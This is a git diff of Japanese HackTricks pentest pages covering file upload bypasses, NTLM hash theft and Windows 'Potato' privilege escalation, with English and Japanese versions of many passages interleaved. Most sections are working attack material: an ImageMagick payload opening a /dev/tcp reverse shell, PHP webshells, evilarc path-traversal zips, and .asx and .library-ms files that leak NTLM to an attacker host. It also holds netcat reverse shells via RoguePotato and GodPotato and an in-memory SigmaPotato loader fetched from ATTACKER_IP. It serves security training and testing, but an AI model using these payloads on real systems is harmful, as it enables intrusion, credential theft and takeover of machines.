場合によっては、サーバが **`wget`** を使って **download files** しており、あなたが **URL** を示すことができる場合があります。このようなケースでは、コードがダウンロードされるファイルの拡張子がホワイトリストに含まれているかをチェックし、許可されたファイルのみがダウンロードされるようにしているかもしれません。しかし、**このチェックは回避可能です。**\
**linux** における **filename** の最大長は **255** ですが、**wget** はファイル名を **236** 文字に切り詰めます。You can **download a file called "A"*232+".php"+".gif"**, このファイル名はホワイトリストの**チェックをバイパス**します(この例では **".gif"** が**valid** な拡張子です)が、`wget` はファイル名を **"A"*232+".php"** に**rename** します。
場合によっては、サーバが **`wget`** を使って **download files** を行い、あなたが **URL****indicate** できることがあります。こうした場合、コードはダウンロードされるファイルの拡張子が whitelist に含まれているかをチェックして、許可されたファイルのみがダウンロードされるようにしていることがあります。しかし、**このチェックは回避可能です。**\
**linux** における **filename****maximum** 長さは **255** ですが、**wget** はファイル名を **236** 文字に切り詰めます。
You can **download a file called "A"*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -226,22 +226,47 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Note that **another option** you may be thinking of to bypass this check is to make the **HTTPサーバ** redirect to a different file, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
### NTFS junctions (Windows) を使ったアップロードディレクトリの脱出
この攻撃では対象のWindowsマシンへのローカルアクセスが必要ですWindowsでアップロードがユーザーごとのサブフォルダ例: C:\Windows\Tasks\Uploads\<id>\)に保存され、あなたがそのサブフォルダの作成/削除を制御できる場合、そのサブフォルダをdirectory junctionで機微な場所例: webrootを指すものに置き換えることができます。以降のアップロードはターゲットパスに書き込まれ、もしターゲットがserver-side codeを解釈する場合はコード実行を可能にします。
Example flow to redirect uploads into XAMPP webroot:
```cmd
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
:: Minimal PHP webshell for testing
:: <?php echo shell_exec($_REQUEST['cmd']); ?>
:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"
```
注意
- mklink /J creates an NTFS directory junction (reparse point). The web servers account must follow the junction and have write permission in the destination.
- This redirects arbitrary file writes; if the destination executes scripts (PHP/ASP), this becomes RCE.
- 防御: 攻撃者が制御可能な場所(例: C:\Windows\Tasks 等)に書き込み可能なアップロードルートを置かない; junction の作成をブロックする; サーバー側で拡張子を検証する; アップロードを別ボリュームに保存するか denyexecute ACLs を設定する。
## Tools
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) は、Pentesters and Bug Hunters が file upload メカニズムをテストするのを支援するために設計された強力なツールです。さまざまな bug bounty テクニックを活用して脆弱性の発見と悪用を簡素化し、web applications の徹底的な評価を支援します。
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
### Corrupting upload indices with snprintf quirks (historical)
一部のレガシーな upload ハンドラは、`snprintf()` や類似の関数を使って single-file upload から multi-file 配列を構築していますが、これらは `_FILES` 構造を偽造するように騙されることがあります。`snprintf()` の挙動における一貫性の欠如や切り捨てにより、巧妙に作られた single upload がサーバ側で複数のインデックス付きファイルとして見えることがあり、厳密な形状を想定しているロジック(例: multi-file upload として扱い、安全でない分岐に入る)が混乱します。今日ではニッチですが、この “index corruption” パターンは時折 CTFs や古いコードベースで再出現します。
一部のレガシーなアップロードハンドラは `snprintf()` 等を使って単一ファイルのアップロードからマルチファイル配列を構築することがありますが、`snprintf()` の不整合や切り捨て挙動を突くと `_FILES` 構造を偽装できる場合があります。巧妙に作られた単一のアップロードがサーバ側で複数のインデックス化されたファイルとして見え、厳密な形状を仮定するロジック(例: マルチファイルアップロードとして扱い、安全でない分岐を取る)を混乱させます。今日ではニッチですが、この “index corruption” パターンは時折 CTF や古いコードベースで再発します。
## From File upload to other vulnerabilities
- **filename**`../../../tmp/lol.png` を設定して **path traversal** を試みる
- **filename**`sleep(10)-- -.jpg` を設定すると **SQL injection** が達成できる可能性がある
- **filename**`<svg onload=alert(document.domain)>` を設定して XSS を実現する
- **filename**`; sleep 10;` を設定して一部のコマンドインジェクションをテストする (more [command injections tricks here](../command-injection.md))
- **filename** `../../../tmp/lol.png` に設定し、**path traversal** を試みる
- **filename** `sleep(10)-- -.jpg` に設定すると **SQL injection** が実現できるかもしれない
- **filename** `<svg onload=alert(document.domain)>` にすると XSS を引き起こせ
- **filename** `; sleep 10;` にしてコマンドインジェクションをテストする(詳細は [command injections tricks here](../command-injection.md)
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
@ -252,7 +277,7 @@ Note that **another option** you may be thinking of to bypass this check is to m
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
- ファイルをアップロードして **size limit** があるか確認する
- ファイルアップロード時に **size limit** があるか確認する
Heres a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
@ -279,34 +304,34 @@ https://github.com/portswigger/upload-scanner
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
- **JPG**: `"\xff\xd8\xff"`
その他のファイルタイプは [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) を参照してください。
その他のファイルタイプについては [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) を参照してください。
## Zip/Tar File Automatically decompressed Upload
もしサーバ内で展開される ZIP をアップロードできるなら、次の2つができます:
サーバ内で展開される ZIP をアップロードできる場合、2つのことができます:
### シンボリックリンク
### Symlink
他のファイルへのシンボリックリンクを含むリンクをアップロードすると、展開後にそのファイルにアクセスすることでリンク先のファイルにアクセスできます:
他のファイルへのソフトリンク(シンボリックリンク)を含むアーカイブをアップロードすると、解凍後に展開されたファイルへアクセスすることでリンク先のファイルにアクセスできます:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
### 異なるフォルダに解凍する
### Decompress in different folders
解凍中にディレクトリ内にファイルが予期せず作成される問題は重大です。当初、この構成が悪意のあるファイルアップロードによるOSレベルのコマンド実行を防ぐと考えられていても、ZIPアーカイブ形式の階層的な圧縮サポートとディレクトリトラバーサル機能が悪用され得ます。これにより攻撃者は制限を迂回し、ターゲットアプリケーションの解凍機能を操作してセキュアなアップロードディレクトリから脱出できます。
Decompression 中にディレクトリへ予期せずファイルが作成される問題は重大です。当初、この構成が malicious file uploads による OS-level command execution を防ぐと考えられることがありますが、ZIP archive format の hierarchical compression support と directory traversal 機能が悪用される可能性があります。これにより攻撃者は制限を回避し、ターゲットアプリケーションの decompression functionality を操作して安全な upload directories から脱出できます。
そのようなファイルを作成する自動化エクスプロイトは[**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)。このユーティリティは次のように使用できます:
An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). The utility can be used as shown:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
さらに、**symlink trick with evilarc** はオプションです。目的が `/flag.txt` のようなファイルを狙うことであれば、そのファイルへのシンボリックリンクをシステムに作成しておくべきです。これにより、evilarc は動作中にエラーを起こさなくなります。
さらに、**symlink trick with evilarc** は選択肢の一つです。目的が `/flag.txt` のようなファイルをターゲットにすることであれば、そのファイルへの symlink をシステム上に作成してください。これにより evilarc が動作中にエラーを起こさないようにできます。
以下は、悪意のある zip ファイルを作成するために使われる Python のコード例です:
以下は、悪意のある zip ファイルを作成するための Python コードの例です:
```python
#!/usr/bin/python
import zipfile
@ -325,11 +350,11 @@ zip.close()
create_zip()
```
**圧縮を悪用して file spraying を行う**
**圧縮を悪用した file spraying**
詳細について**元の投稿を確認してください**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
詳細は **元の投稿を確認してください**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Creating a PHP Shell**: コマンドを `$_REQUEST` 変数経由で受け取り実行する PHP コードが書かれている
1. **Creating a PHP Shell**: PHPコードが `$_REQUEST` で渡されたコマンドを実行するように書かれています
```php
<?php
@ -339,14 +364,14 @@ system($cmd);
}?>
```
2. **File Spraying and Compressed File Creation**: 複数のファイルを作成し、これらを含む zip アーカイブを作成する
2. **File Spraying and Compressed File Creation**: 複数のファイルを作成し、それらを含むzipアーカイブを作成します
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Modification with a Hex Editor or vi**: zip 内のファイル名を vi または hex editor で変更し、"xxA" を "../" に置換してディレクトリを横断す
3. **Modification with a Hex Editor or vi**: zip内のファイル名をviまたはhex editorで変更し、"xxA" を "../" に置換してディレクトリを横断します。
```bash
:set modifiable
@ -356,38 +381,38 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
この内容を画像の拡張子でアップロードすることで脆弱性を悪用できます **(ImageMagick , 7.0.1-1)**(詳細は [exploit](https://www.exploit-db.com/exploits/39767) を参照)
このコンテンツを画像拡張子でアップロードすることで脆弱性 **(ImageMagick , 7.0.1-1)** を悪用できます(詳細は [exploit](https://www.exploit-db.com/exploits/39767) を参照)
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## PNGにPHP Shellを埋め込む
## PHP ShellをPNGに埋め込む
PNGファイルのIDATチャンクにPHP Shellを埋め込むことで、特定の画像処理操作を回避できることがあります。PHP-GDの関数 `imagecopyresized``imagecopyresampled` は、それぞれ画像のリサイズやリサンプリングに一般的に使われるため、この文脈で特に関連性があります。埋め込まれたPHP Shellがこれらの処理に影響されずに残ることは、特定のユースケースにおいて大きな利点です。
PNGファイルのIDATチャンクにPHP shellを埋め込むことで、特定の画像処理を効果的にバイパスできます。PHP-GDの`imagecopyresized``imagecopyresampled`といった関数は、画像のリサイズやリサンプリングで一般的に使用されるため、この文脈で特に関連性があります。埋め込まれたPHP shellがこれらの操作によって影響を受けずに残る能力は、特定のユースケースで大きな利点となります。
この手法の詳細な検討(方法論や潜在的な応用を含む)は、以下の記事で解説されています: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。このリソースはプロセスとその影響を包括的に理解するのに役立ちます。
この手法の方法論や応用例を詳述した記事はこちらにあります: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。このリソースはプロセスとその影響について包括的に解説しています。
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Polyglot Files
Polyglot filesは、複数のファイル形式として同時に有効に存在できる“カメレオン”的なツールです。興味深い例としては、GIFとRARのハイブリッドである[GIFAR](https://en.wikipedia.org/wiki/Gifar)があります。こうしたファイルはこの組み合わせに限らず、GIFとJS、PPTとJSなどの組み合わせも可能です。
Polyglot filesは、複数のファイル形式として同時に有効に存在できるカメレオンのようなツールです。興味深い例として[GIFAR](https://en.wikipedia.org/wiki/Gifar)があり、これはGIFとRARアーカイブの両方として機能するハイブリッドです。こうしたファイルはこの組み合わせに限らず、GIFとJSやPPTとJSのような組み合わせも可能です。
polyglot filesの主な有用性は、ファイルタイプに基づいてスクリーニングするセキュリティ対策を回避できる点にあります。多くのアプリケーションでは、潜在的に危険なフォーマット(例JS、PHP、Pharによるリスクを軽減するために、JPEG、GIF、DOCなど特定のファイルタイプのみをアップロード許可するという運用が行われます。しかし、polyglotは複数のファイル形式の構造要件を満たすことで、これらの制限を巧妙に回避できます。
polyglotファイルの主な有用性は、ファイルタイプでスクリーニングするセキュリティ対策を回避できる点にあります。多くのアプリケーションでは、潜在的に危険なフォーマット(例: JS、PHP、Pharによるリスクを軽減するために、JPEG、GIF、DOCなど特定のファイルタイプのみをアップロード許可することが一般的です。しかし、polyglotは複数のファイルタイプの構造的条件を満たすことで、これらの制限をこっそり回避することができます。
とはいえ、polyglotにも制約はあります。たとえば、PHARPHp ARchiveとJPEGを同時に兼ねるpolyglotがあったとしても、プラットフォームのファイル拡張子ポリシーによってはアップロードがブロックされる可能性があり、構造上の二重性だけではアップロードが保証されない場合があります。
ただし、polyglotにも制約はあります。たとえば、polyglotが同時にPHARファイルPHp ARchiveとJPEGの両方を内包していても、プラットフォームのファイル拡張子ポリシーによってはアップロードの成功が左右される可能性があります。システムが許可される拡張子に厳格であれば、構造的な二重性だけではアップロードを保証できないことがあります。
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### PDFのふりをして有効なJSONをアップロードする方法
### PDFのように見せかけて有効なJSONをアップロードする
許可されていない場合でもPDFを偽装して有効なJSONファイルをアップロードすることでファイルタイプ検出を回避する方法**[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)** の手法):
- **`mmagic` library**: 最初の1024バイト以内に`%PDF`のマジックバイトがあれば有効と見なされます(例は記事参照)
- **`pdflib` library**: JSONのフィールド内に偽のPDFフォーマットを追加して、ライブラリにPDFだと判断させます(例は記事参照)
- **`file` binary**: ファイルから最大1048576バイトを読み取れます。これより大きなJSONを作成して内容をJSONとして解析できないようにし、そのJSON内に実際のPDFの先頭部分を入れておけば、`file`はそれをPDFだと判断します
- **`mmmagic` library**: 最初の1024バイトに`%PDF`のmagicバイトが含まれていれば有効と見なされます記事の例参照)
- **`pdflib` library**: JSONのフィールド内に偽のPDFフォーマットを追加して、ライブラリにPDFだと誤認させる(記事の例参照)
- **`file` binary**: ファイルから最大1048576バイトまで読み取れます。これより大きなJSONを作成し、JSONとして解析できないようにしてから、そのJSON内に本物のPDFの先頭部分を入れると、PDFだと判断されます
## References
@ -405,5 +430,7 @@ More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-frie
- [CVE-2024-21546 NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
- [0xdf HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
- [Microsoft mklink (command reference)](https://learn.microsoft.com/windows-server/administration/windows-commands/mklink)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,7 +1,65 @@
# NTLMクレデンシャルを盗む場所
# NTLM creds を盗む場所
{{#include ../../banners/hacktricks-training.md}}
**[https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) からのMicrosoft WordファイルのダウンロードからNTLMリークのソースまでの素晴らしいアイデアをすべて確認してください: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md と [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
**[https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) の素晴らしいアイデアをすべて確認してください。オンラインで microsoft word ファイルをダウンロードするケースから、ntlm leaks ソース: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md および [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
### Windows Media Player プレイリスト (.ASX/.WAX)
制御下の Windows Media Player プレイリストをターゲットに開かせるかプレビューさせることができれば、エントリを UNC パスに向けることで NetNTLMv2 を leak できます。WMP は参照されたメディアを SMB 経由で取得しようとし、暗黙的に認証します。
Example payload:
```xml
<asx version="3.0">
<title>Leak</title>
<entry>
<title></title>
<ref href="file://ATTACKER_IP\\share\\track.mp3" />
</entry>
</asx>
```
Collection と cracking のフロー:
```bash
# Capture the authentication
sudo Responder -I <iface>
# Crack the captured NetNTLMv2
hashcat hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
```
### ZIP-embedded .library-ms NTLM leak (CVE-2025-24071/24055)
Windows Explorer は、ZIP アーカイブ内から直接開かれた .library-ms ファイルを安全でない方法で処理します。library 定義がリモートの UNC パス(例: \\attacker\shareを指している場合、ZIP 内の .library-ms を参照または起動するだけで Explorer がその UNC を列挙し、攻撃者に対して NTLM 認証を送出します。これにより NetNTLMv2 が生成され、オフラインでクラッキングされるか、あるいは中継される可能性があります。
攻撃者の UNC を指す最小限の .library-ms
```xml
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<version>6</version>
<name>Company Documents</name>
<isLibraryPinned>false</isLibraryPinned>
<iconReference>shell32.dll,-235</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>\\10.10.14.2\share</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
```
## 操作手順
- 上記の XML を使って .library-ms ファイルを作成するIP/ホスト名を設定する)。
- それを ZIP 化するWindows の場合: Send to → Compressed (zipped) folderし、ZIP をターゲットに配布する。
- NTLM キャプチャリスナーを起動し、被害者が ZIP 内から .library-ms を開くのを待つ。
## References
- [HTB Fluffy ZIP .libraryms auth leak (CVE202524071/24055) → GenericWrite → AD CS ESC16 to DA (0xdf)](https://0xdf.gitlab.io/2025/09/20/htb-fluffy.html)
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
- [Morphisec 5 NTLM vulnerabilities: Unpatched privilege escalation threats in Microsoft](https://www.morphisec.com/blog/5-ntlm-vulnerabilities-unpatched-privilege-escalation-threats-in-microsoft/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -3,10 +3,10 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING]
> **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.
> **JuicyPotatoはWindows Server 2019およびWindows 10 build 1809以降では動作しません。** しかし、 [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** を使用して、同等の権限を悪用し `NT AUTHORITY\SYSTEM` レベルのアクセスを取得できます。This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) `PrintSpoofer` ツールについて詳述しており、JuicyPotato が動作しない Windows 10 および Server 2019 ホスト上でインパーソネーション権限を悪用する方法を説明しています。
> [!TIP]
> A modern alternative frequently maintained in 20242025 is SigmaPotato (a fork of GodPotato) which adds in-memory/.NET reflection usage and extended OS support. See quick usage below and the repo in References.
> 20242025 に頻繁にメンテナンスされている現代的な代替は SigmaPotatoGodPotato のフォークで、in-memory/.NET reflection usage と拡張された OS サポートを追加します。下のクイック使用例と References のリポジトリを参照してください。
Related pages for background and manual techniques:
@ -22,23 +22,24 @@ from-high-integrity-to-system-with-name-pipes.md
privilege-escalation-abusing-tokens.md
{{#endref}}
## 要件とよくある落とし穴
## 要件と一般的な注意点
以下の手法はすべて、以下のいずれかの権限を持つコンテキストから、インパーソネーションimpersonation可能な特権サービスを悪用することに依存します:
以下のすべてのテクニックは、次のいずれかの特権を保持するコンテキストから、インパーソネーション可能な特権サービスを悪用することに依存します
- SeImpersonatePrivilege最も一般的または SeAssignPrimaryTokenPrivilege
- トークンがすでに SeImpersonatePrivilege を持っている場合IIS AppPool、MSSQL など多くのサービスアカウントに典型的、High integrity は不要です
- トークンがに SeImpersonatePrivilege を持っている場合、High integrity は必要ありませんIIS AppPool、MSSQL など多くのサービスアカウントで典型的です)
を素早く確認:
権を素早く確認する:
```cmd
whoami /priv | findstr /i impersonate
```
運用メモ:
Operational notes:
- PrintSpoofer は Print Spooler service が稼働しており、ローカル RPC エンドポイント (spoolss) 経由で到達可能である必要があります。PrintNightmare 後に Spooler が無効化されているようなハードニングされた環境では、RoguePotato/GodPotato/DCOMPotato/EfsPotato を優先してください。
- RoguePotato は TCP/135 上で到達可能な OXID resolver を必要とします。egress がブロックされている場合は redirector/port-forwarder を使用してください(下の例を参照)。古いビルドでは -f フラグが必要でした。
- EfsPotato/SharpEfsPotato は MS-EFSR を悪用します。あるパイプがブロックされている場合は、代替のパイプ (lsarpc, efsrpc, samr, lsass, netlogon) を試してください。
- RpcBindingSetAuthInfo 実行中に発生する Error 0x6d3 は、通常、未知またはサポートされていない RPC 認証サービスを示します。別のパイプ/トランスポートを試すか、対象サービスが実行中であることを確認してください。
- If your shell runs under a restricted token lacking SeImpersonatePrivilege (common for Local Service/Network Service in some contexts), regain the accounts default privileges using FullPowers, then run a Potato. Example: `FullPowers.exe -c "cmd /c whoami /priv" -z`
- PrintSpoofer needs the Print Spooler service running and reachable over the local RPC endpoint (spoolss). In hardened environments where Spooler is disabled post-PrintNightmare, prefer RoguePotato/GodPotato/DCOMPotato/EfsPotato.
- RoguePotato requires an OXID resolver reachable on TCP/135. If egress is blocked, use a redirector/port-forwarder (see example below). Older builds needed the -f flag.
- EfsPotato/SharpEfsPotato abuse MS-EFSR; if one pipe is blocked, try alternative pipes (lsarpc, efsrpc, samr, lsass, netlogon).
- Error 0x6d3 during RpcBindingSetAuthInfo typically indicates an unknown/unsupported RPC authentication service; try a different pipe/transport or ensure the target service is running.
## クイックデモ
@ -58,7 +59,7 @@ NULL
```
注意:
- 現在のコンソールでインタラクティブなプロセスを起動するには -i を、ワンライナーを実行するには -c を使用できます。
- 現在のコンソールで対話型プロセスを起動するには -i を、ワンライナーを実行するには -c を使用できます。
- Spooler service が必要です。無効になっていると失敗します。
### RoguePotato
@ -67,7 +68,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l
# In some old versions you need to use the "-f" param
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
```
アウトバウンド135がブロックされている場合は、リダイレクタ上でsocat経由でOXID resolverをpivotしてください:
アウトバウンドのポート135がブロックされている場合は、リダイレクター上でsocatを使ってOXID resolverをpivotしてください:
```bash
# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
@ -122,14 +123,14 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
# You can achieve a reverse shell like this.
> GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
```
Notes:
注意:
- SeImpersonatePrivilege が存在する場合、Windows 8/8.111 および Server 20122022 で動作します。
### DCOMPotato
![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa)
DCOMPotato は、デフォルトで RPC_C_IMP_LEVEL_IMPERSONATE を使用するサービスの DCOM オブジェクトを標的とする 2 種類のバリアントを提供します。提供された binaries をビルドするか使用して、コマンドを実行してください:
DCOMPotato は、既定で RPC_C_IMP_LEVEL_IMPERSONATE に設定されているサービスの DCOM オブジェクトをターゲットにする 2 種類のバリアントを提供します。付属のバイナリをビルドするか使用し、コマンドを実行してください:
```cmd
# PrinterNotify variant
PrinterNotifyPotato.exe "cmd /c whoami"
@ -139,7 +140,7 @@ McpManagementPotato.exe "cmd /c whoami"
```
### SigmaPotato (更新された GodPotato フォーク)
SigmaPotato は .NET reflection を介した in-memory execution や PowerShell reverse shell helper といったモダンな便利機能を追加します。
SigmaPotatoは、.NET reflectionによるin-memory executionやPowerShell reverse shell helperのような最新の便利機能を追加します。
```powershell
# Load and execute from memory (no disk touch)
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
@ -150,13 +151,13 @@ SigmaPotato は .NET reflection を介した in-memory execution や PowerShell
```
## 検出とハードニングの注意点
- Monitor for processes creating named pipes and immediately calling token-duplication APIs followed by CreateProcessAsUser/CreateProcessWithTokenW. Sysmon can surface useful telemetry: Event ID 1 (process creation), 17/18 (named pipe created/connected), and command lines spawning child processes as SYSTEM.
- Spooler hardening: Disabling the Print Spooler service on servers where it isnt needed prevents PrintSpoofer-style local coercions via spoolss.
- Service account hardening: カスタムサービスへの SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege の割当は最小限にする。可能であれば、必要最小権限の仮想アカウントでサービスを実行し、service SID や書き込み制限付きトークンで分離することを検討する。
- Network controls: outbound TCP/135 をブロックするか RPC endpoint mapper トラフィックを制限すると、内部リダイレクタがない限り RoguePotato を破綻させる可能性がある。
- EDR/AV: これらのツールは広くシグネチャ化されている。recompiling from source、シンボル/文字列のリネーム、または in-memory execution を用いることで検出を低減できるが、堅牢な振る舞いベースの検出を回避することはできない。
- 名前付きパイプを作成し、直後にトークン複製 API を呼び出し、その後 CreateProcessAsUser/CreateProcessWithTokenW を実行するプロセスを監視する。Sysmon は有用なテレメトリを提供できる: Event ID 1プロセス作成、17/18名前付きパイプ作成/接続)、および SYSTEM として子プロセスを生成するコマンドライン。
- Spooler のハードニング: 必要のないサーバーで Print Spooler サービスを無効化すると、spoolss 経由の PrintSpoofer スタイルのローカルでの悪用(権限昇格など)を防げる。
- サービスアカウントのハードニング: カスタムサービスに対する SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege の割り当てを最小限にする。可能であれば、必要最小権限の仮想アカウントでサービスを実行し、サービス SID と書き込み制限されたトークンで分離することを検討する。
- ネットワーク制御: 送信 TCP/135 をブロックするか RPC endpoint mapper トラフィックを制限すると、内部リダイレクタが利用できない限り RoguePotato の動作を妨げられる。
- EDR/AV: これらのツールは広くシグネチャ化されている。ソースから再コンパイルしたり、シンボル/文字列のリネーム、インメモリ実行を使用すると検出を軽減できるが、堅牢な振る舞い検知を回避することはできない。
## References
## 参考資料
- [https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)
